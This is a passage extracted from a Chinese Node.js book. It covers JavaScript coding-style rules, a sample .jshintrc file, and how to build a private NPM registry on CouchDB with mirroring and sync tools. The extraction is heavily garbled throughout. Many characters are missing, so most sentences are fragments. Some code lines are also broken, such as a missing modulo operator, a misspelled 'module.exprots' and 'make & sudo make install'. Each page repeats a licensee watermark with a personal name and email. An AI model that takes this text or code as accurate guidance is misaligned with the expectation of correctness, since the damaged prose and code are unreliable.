想他用,可以定以下线开,_linklist.js。 6. 也你有贡献并包发到NPM上。在包中,量不要包jsnode的样,它 是复的。包应且有的, var express = require('express'); C.2.3 在作中,是的场景,请量使用=====,否你会到下这样不 的 '0' == 0; // true '' == 0 // true '0' === '' // false 外,时,可以使用=====。在下的中,foo是0、undefined、 null、false、''时,都会入分 if (!foo) { // some code } C.2.4 请量使用{}、[]new Object()、new Array(),不要使用string、bool、number对 ,不要用new String、new Booleannew Number。 C.2.5 在JavaScript中,要一个关一个,它们是witheval(), 起 作 用 。 1. with 下 with (obj) { foo = bar; } 它的有可能是下之一obj.foo = obj.bar;、obj.foo = bar;、foo = bar;、foo = obj.bar;,这些决于它的作用。作用上没有的量在,使用它是 的。在多人作的目中,这并不,以要用with。 2. eval() 用eval()的因与with相。不作用上已在的量,用它是的。外, 用eval()的这个性,也可以一些好的性,wind.js用它实了程, 4。在大多数情下,本上不到eval()使。下 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 C Node 319 1 2 3 4 5 11 6 7 8 9 10 var obj = { foo: 'hello', bar: 'world' }; var key = (Math.round(Math.random() * 100) 2 === 0) ? 'foo' : 'bar';% var value = eval('(obj.' + key + ')'); 上多在新中,实只要下一可 var value = obj[key]; C.2.6 在JavaScript中,数组实也是对,是者在使用时有些要。 1. 创对者数组时,在用分。分,一只能一个,下 var foo = ['hello', 'world']; var bar = { hello: 'world', pretty: 'code' }; 下 var foo = ['hello', 'world']; var bar = { hello: 'world', pretty: 'code' }; 2. for in 使用for in环时,请对对使用,不要对数组使用,下 var foo = []; foo[100] = 100; for (var i in foo) { console.log(i); } for (var i = 0; i < foo.length; i++) { console.log(i); } 在上中,一个环只一次,个环0~100,这并不。 3. 管在JavaScript内部实中可以数组做对使用,下 var foo = [1, 2, 3]; foo['hello'] = 'world'; 这在for in时,会到有 for (var i in foo) { console.log(foo[i]); } 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 320C Node 也你只是想到hello已。 C.2.7 在Node中,使用广并且在实践过程中了一些定,这是以不在的。 1. 一 部分内在4中有。并不是有数都要一个数为对。 是一,会try catch到的。一个数为 对,用是一个不的定。下 function (err, data) { }; 这个定很多程用。这个定,可以享社区程的务编 写。 2. 在中一有数入,就一定要它,且不能多次。不,可能 用一不,多次也可能会的。 C.2.8 关于在JavaScript中实继,有样的,在Node中我们只推荐一, 就是继的。外,在Node中,要一个作为一个,就要在它的 。 1. 一情下,我们用Node推荐的继,下 function Socket(options) { // ... stream.Stream.call(this); // ... } util.inherits(Socket, stream.Stream); 2. 有外部用的量在exports量上。要做一个时, 要过下的 module.exprots = Class; 不是过 exports = Class; 有因为测试因外部,以。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 C Node 321 1 2 3 4 5 11 6 7 8 9 10 C.2.9 一情下,我们会对个编写,这用dox的推荐,下 /** * Queries some records * Examples: * ``` * query('SELECT * FROM table', function (err, data) { * // some code * }); * ``` * @param {String} sql Queries * @param {Function} callback Callback */ exports.query = function (sql, callback) { // ... }; dox的源自于JSDoc。可以过生对应的API。 C.3 的编有很多,有的也,这并不我们到。 C.3.1 你要贡献部分个开源目,它的编与你并不相,这情下要 用入的,量开源目本的编不是自己的编。 C.3.2 实上,在的编本上都可以过的JSLint者JSHint这样的质 量工开发环境中,这样编后就可以时到。 用的是Sublime Text 2编,在好后,可以在目中.jshintrc, 次都会在编中不的信。 下是我个目的.jshintrc,仅 { "predef": [ "document", "module", "require", "__dirname", "process", "console", "it", "xit", 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 322C Node "describe", "xdescribe", "before", "beforeEach", "after", "afterEach" ], "node": true, "es5": true, "bitwise": true, "curly": true, "eqeqeq": true, "forin": false, "immed": true, "latedef": true, "newcap": false, "noarg": true, "noempty": true, "nonew": true, "plusplus": false, "undef": true, "strict": false, "trailing": false, "globalstrict": true, "nonstandard": true, "white": true, "indent": 2, "expr": true, "multistr": true, "onevar": false, "unused": "vars", "swindent": false } C.3.3 hook 一最实践是在本工中的。SVN还是Git,都有precommit这样的 脚本,过在时实质量的。质量不,。 C.3.4 续包个一是质量的,可以定时,是触发 一可以过中的统质量的好势。统可以定中的个 人对编的情,决定用的质量管还是的。 C.4 质量关产品的质量,最的是编,收也是最高的,它 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 C Node 323 1 2 3 4 5 11 6 7 8 9 10 测试要实践。一定了编,就应,绝中编 后的。 也可以用CoffeeScript的编的问题,是我相信在使用CoffeeScript之 前,了解这些会好你解CoffeeScript。 你还用编JavaScript编写你的应用,请这些编。管因为因 一到这些,是为优,为,就应优做一习。 C.5 本的源下 http://google-styleguide.googlecode.com/svn/trunk/javascriptguide.xml http://caolanmcmahon.com/posts/nodejs_style_and_structure/ http://nodeguide.com/style.html Felix’s Node.js https://npmjs.org/doc/coding-style.html NPM 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 324D NPM NPM 2到了NPM,它由今Node的门人Isaac Z. Schlueter创。最初,NPM与Node自 发,在Node v0.6.3时,它为Node的一部分。NPM的了Node的个生, 为用,管为很的事情,个生性发。今,在 GitHub上托管源,在NPM上发,在中使用包,这者Node应用 的环。这在开源社区中是极的。 是在开源社区中极的应用并不一定一些内部。目前,在NPM上还 在一些问题,要在下几个。 质量不。 有、享、新的问题。 本在。 。 对于应用言,它们定质量。社区中数量多,不很多优的, 是大部分的质量不,在使用时要量性。 对于言,自编写的于量,发到的NPM上, 这对有的享、新都应用上的。 NPM过加--force强发,管它会发,是对于不在自己 中的,性发可能的。可能在次之本相,是内 实已经不了,这的是相不可的。 外,NPM是托管在Iris Couch的上,服务并没有对中国的网环境过 优,经一到一些网环境的,定性。 上这些因都使应有自己的NPM。为,Node v0.10.0发时,Isaac Z. Schlueter到Iris Couch于NPM的经,他们为推了irisnpm服务 有NPM。过在irisnpm上可以请服务。了使用irisnpm的服务外, 我们还可以自NPM。自NPM,可以实内部与社区 之的,一可以绝上问题的发生,一可以享NPM工生的性 性。 在package.json中编写,过NPM工从有中,自动的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 D NPM 325 1 2 3 4 5 11 6 7 8 9 10 ,这与使用开源社区的一样。没有有NPM,享的过程甚至会 为复的工活,本高。 D.1 NPM NPM的源托管在GitHub上,是http://github.com/isaacs/npmjs.org。相对于 中的NPM,NPM是的服务。 NPM的于CouchDB实。CouchDB是一NoSQL数,于,它的 有本性质,时的HTTP RESTful接分好用,这与Node的有为相的 性。Isaac Z. Schlueter是在这个上用它实的托管。有的是,作为与 Node在网并发的Erlang语言,者的关系,实在是有的。因为 CouchDB于Erlang写,NPM用它托管。 NPM要由部分组,在源中分是wwwregistry。www是NPM的, registry是用CouchDB包JSON API,NPMNPM工 服务。图D-1了NPM的。 图D-1 NPM 由于在CouchDB中Web应用为复杂,后Isaac Z. Schlueter新了一个新的NPM 的Web应用,用CouchDB的Web应用服务,CouchDB做的数托管并HTTP RESTful服务。这个新的NPM Web应用就是图D-1中的new www应用,源在https://github. com/isaacs/npm-www中。 D.1.1 ErlangCouchDB NPM的环境复杂,对于Windows言,可以到编好的Erlang CouchDB本。对于LinuxMac用,这要一下。 1. Erlang 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 326D NPM Erlang的下 $ wget http://www.erlang.org/download/otp_src_R15B01.tar.gz $ tar zxvf otp_src_R15B01.tar.gz $ cd otp_src_R15B01 $ ./configure $ make & sudo make install 次入下的,是否 $ erl Erlang R15B01 (erts-5.9.1) [source] [smp:4:4] [async-threads:0] [hipe] [kernel-poll:false] Eshell V5.9.1 (abort with ^G) 1> 2. CouchDB 在有Erlang环境的情下,CouchDB才能。Erlang不大,相关下 $ wget http://mirror.bit.edu.cn/apache/couchdb/releases/1.2.0/apache-couchdb-1.2.0.tar.gz $ tar zxvf apache-couchdb-1.2.0.tar.gz $ cd apache-couchdb-1.2.0 $ ./configure --prefix=/home/admin/couchdb #空间的的目录 $ make & sudo make install 上要的是中在大量,会用多的,以要 的目。在./configure时者后。 CouchDB的还要Mozilla的SpiderMonkey一些JavaScript,它的 下 $ wget http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz $ tar zxvf js185-1.0.0.tar.gz $ cd js-1.8.5/js $ autoconf-2.13 $ ./configure $ make & make install 3. CouchDB 动CouchDB服务的下 $ sudo couchdb & $ curl -i http://127.0.0.1:5984/ #查看服务是否启动正确 D.1.2 NPM 在前工作就之后,我们就可以NPM了,这一要CouchDB一动作为服务。 NPM要包下5。 (1) 创NPM数。,我们要用CouchDB的接为创一个数,之后 有的包作为在这个数中。 $ curl -X PUT http://127.0.0.1:5984/registry 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 D NPM 327 1 2 3 4 5 11 6 7 8 9 10 {"ok":true} 之外,还要NPM服务的源。 (2) NPM源。相关下 $ git clone https://github.com/isaacs/npmjs.org.git $ cd npmjs.org (3) 工。相关下 $ sudo npm install couchapp -g $ npm install couchapp $ npm install semver (4) NPM到CouchDB中。相关下 $ couchapp push registry/app.js http://127.0.0.1:5984/registry Preparing. Serializing. PUT http://127.0.0.1:5984/registry/_design/scratch Finished push. 1-4dd18325b8d8c5e60d1451904005414e $ couchapp push www/app.js http://127.0.0.1:5984/registry Preparing. Serializing. PUT http://127.0.0.1:5984/registry/_design/ui Finished push. 1-4357980d099a397591f54fc7bf1c469b 上分registrywww下的CouchDB的registry中。一个本的NPM 就了。 问http://127.0.0.1:5984/registry/_design/ui/_rewrite,可以到NPM的Web UI。 问http://127.0.0.1:5984/registry/_design/scratch/_rewrite,对应的是JSON API服务。 这个URL相对言。可以在CouchDB前反,使URL优 ,http://search.npm.your_domain.com/http://registry.npm.your_domain.com/,这样可以 端,有一个的可。之外,CouchDB的,也可以到这 个。 CouchDB监127.0.0.1有 CouchDB0.0.0.0部。 http://127.0.0.1:5984/registry/_design/scratch/_rewriteinsecure_rewrite_ rule too many ../.. segments样的错误CouchDB中的secure_rewrites false。 (5) NPM客端。要从本NPM作的,只要加入--registry=http: //127.0.0.1:5984/registry/_design/scratch/_rewrite可。 $ npm install plusplus --registry=http://127.0.0.1:5984/registry/_design/scratch/_rewrite 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 328D NPM 为了解决过不的问题,可以使用下 $ npm config set registry http://127.0.0.1:5984/registry/_design/scratch/_rewrite 这个的一个问题在于,经要在本,就。为, 我们可以用bash中的alias能解决这个问题。在~/.bashrc~/.profile的加 下这 alias lnpm='npm --registry=http://127.0.0.1:5984/registry/_design/scratch/_rewrite' 新动,npm作的是,lnpm作的是本。余数相。 D.2 在上过程中,我们了一个NPM的。我们可以这个本用作像, 也可以用作自己新的。 D.2.1 像,是的一个像,我们可以过的中的 包到像中。像可以解决过程中的问题,定性可以到 。是一个新的问题是要,否中会后于的情。 由于NPM实质上就是一个CouchDB数,到像实就是对数 的复。这个复过程可以用CouchDB自己的复能,它的实质是量的能。 我试过很多次,由于网问题,的复性能分。Node社区的Mikeal Rogers(request 的作者、NodeConf大会组织者)写了一个replicate用工作。的 下 $ [sudo] npm install -g replicate 下的可以实从目CouchDB到一个CouchDB中。对于 言,它的是http://isaacs.iriscouch.com/registry/。它的是用CouchDB的/_changes接, 源的动,目的/_missing_revs接,到目些(也 就是包),后个的。 $ replicate http://admin:pass@somecouch/sourcedb http://admin:pass@somecouch/destinationdb 想续性到像中,可以过crontab定时务实。 上的问题是网问题,可能会中,且至目前有3多个,新次 数55次,是一个不小的工程。 D.2.2 实像后,这个像用于生产,它能解决前到的4个问题中的有 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 D NPM 329 1 2 3 4 5 11 6 7 8 9 10 网定性这个问题。我们可以过NPM工registry的使用 像,甚至发自己的有到有中,解决心的问题,还不能 解决的问题是质量本中在的。 我经试过,一是上的有到自有中,后有 的使用,它的使用图D-2。 图D-2 在像中使用有 在这个中,我们过一个像,有发到像中。对 于务不相关的,我们可以发到有NPM中,到开源社区。我们相信绝大多 数也是过这Node开发的。在这个中,我们可以到NPM上为能 有多的高质量。在享开源的过程中也不开源社区。相作, 产的的质量可能高,因为这个多数已经自己使用实践过。 D.2.3 像加有的已经能最心的定性性问题以解决,是 本发可的质量的问题还不能到解决,我们一有都入到 我们的生产环境中,对于我们解决质量问题没有。相反,的没有到 。者,NPM上多的,能用到的不分之一。外,由于是在 内部使用这些,并不要对开。因,我们可以试应用上的,解决 心的有问题。 由于我们并不要有的,以我们试在图D-2中的量这。在 这个环中,我们加入机,从量为,图D-3。 图D-3 量为 在这个过程中,也要对工。只要定的可,对于 的,我们可以以是否的。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 330D NPM 1. 为了的,我在replicate工的上了,编写了sync_package 。它的使用下 $ npm install sync_package -g $ npm config set remote_registry http://isaacs.iriscouch.com/registry/ $ #为本仓库的写入限问题写上 $ npm config set local_registry http://username:password@ip/registry/ $ sync_package express # 同步express模块 这个工只定的,replicate,能的。认情 下,这会时的有。加-D可以 $ sync_package express -D sync_package的是对源中的信目中的信,不, 源中的到目中。实这个过程的接是/module_name?revs_info=true,它 的信用于对。 中源目的在前的中,过NPM工可以。 2. 实了后,还要对这个过程加入机。的目的在于认是否应 ,这个在质量性上是否到认可。这个过程就是对的过程,过 ,可以很好绝质量的入我们的生产环境。 要机,关在于的。我们有的写入,过一 个Web系统管,了管外,余开发人没有要。也就是,我们 的能作为一个触发性能,后自动。图D-4了的 程图。 图D-4 的程图 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 D NPM 331 1 2 3 4 5 11 6 7 8 9 10 包的过程对于请的人于环境,过可,过程 要的只在开始时由管好可。 3. 过机可以很好包的问题。接下,要的是自己的 有。在环境中,应于个个人,因为个人可能在、为, 不能像社区样自过npm adduser的发。为,可以在Web 系统中实这个管,统一为一个,由管npm adduser的作。样,发 的过程也不是过开发者的,是由Web系统过npm publish作的。 对于,大多数开发都有自己的程。在有本要发的时候,过 Web系统请发可。在发的过程中,可以过源本系统与,这个过程 图D-5。 图D-5 的发程 在中,--force的发,过这个Web系统这个作, 发以在。 4. 过对有加入机、产品作后,上在者的( 数)已经有过一年的经。了多个数个产品的开发线 上部。上的Web系统是我们的管系统,由于开发过程中与有一些, 之后会这部分,后开源到社区中。 D.3 NPM在Node的发程中有着不可没的作用。没有NPM,Node就没有多的可 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 332D NPM 以使用。没有NPM,CommonJS组织JavaScript应用到的想不可能这实。 NPM对应用的,很多在应用Node的过程中要经很多。本 的解决在应用Node时能在的时享到开源社区的好, NPM工不应因为环境的不不能使用。 D.4 本的源下 https://www.irisnpm.com/ http://www.erlang.org/doc/installation_guide/INSTALL.html http://wiki.apache.org/couchdb/Installation https://github.com/isaacs/npmjs.org https://github.com/isaacs/npm-www https://developer.mozilla.org/en-US/docs/SpiderMonkey/Build_Documentation https://github.com/mikeal/replicate https://github.com/TBEDP/sync_package 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 145 开幸视⾥contact@turingbook.com超以着公 少幸她⾯今开问情 开法以加家⼿视浪达ebook@turingbook.com 上达 @她出 : 开⽜ @她⾯ : 开个现 @她 : 她出 她热 : ituring_interview专⽤版下您 她出 : turingbooks 式式 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

    下载文档,方便阅读与编辑

    文档的实际排版效果,会与网站的显示效果略有不同!!

    需要 10 金币 [ 分享文档获得金币 ] 1 人已下载

    下载文档

    相关文档